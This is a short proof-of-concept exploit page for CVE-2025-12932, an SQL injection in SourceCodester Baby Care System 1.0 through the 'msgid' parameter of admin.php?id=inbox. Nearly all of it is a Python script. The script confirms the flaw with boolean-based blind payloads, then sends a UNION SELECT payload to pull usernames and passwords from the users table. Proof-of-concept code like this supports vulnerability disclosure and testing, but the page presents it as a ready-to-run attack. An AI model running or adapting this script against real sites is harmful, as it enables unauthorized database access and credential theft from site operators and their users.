CVE-2025-12932 SourceCodester Baby Care System SQL注入漏洞

# CVE-2025-12932 SQL Injection PoC # Target: SourceCodester Baby Care System 1.0 # Endpoint: /admin.php?id=inbox # Vulnerable Parameter: msgid import requests import sys target_url = "http://target-site.com/admin.php" def sql_injection_test(): # Basic boolean-based blind SQL injection test normal_payload = {"id": "inbox", "msgid": "1"} true_payload = {"id": "inbox", "msgid": "1' AND 1=1 --"} false_payload = {"id": "inbox", "msgid": "1' AND 1=2 --"} try: normal_resp = requests.get(target_url, params=normal_payload) true_resp = requests.get(target_url, params=true_payload) false_resp = requests.get(target_url, params=false_payload) if true_resp.text != false_resp.text and true_resp.text == normal_resp.text: print("[+] SQL Injection Vulnerability Confirmed!") return True else: print("[-] No SQL injection detected") return False except Exception as e: print(f"[-] Error: {e}") return False def extract_data(): # Data extraction using UNION-based injection # This payload attempts to extract usernames and passwords payload = { "id": "inbox", "msgid": "1' UNION SELECT 1,2,username,4,password FROM users --" } try: response = requests.get(target_url, params=payload) # Parse response to extract credentials print("[*] Extracted data from database") return response.text except Exception as e: print(f"[-] Error extracting data: {e}") if __name__ == "__main__": if sql_injection_test(): print("[*] Proceeding with data extraction...") extract_data()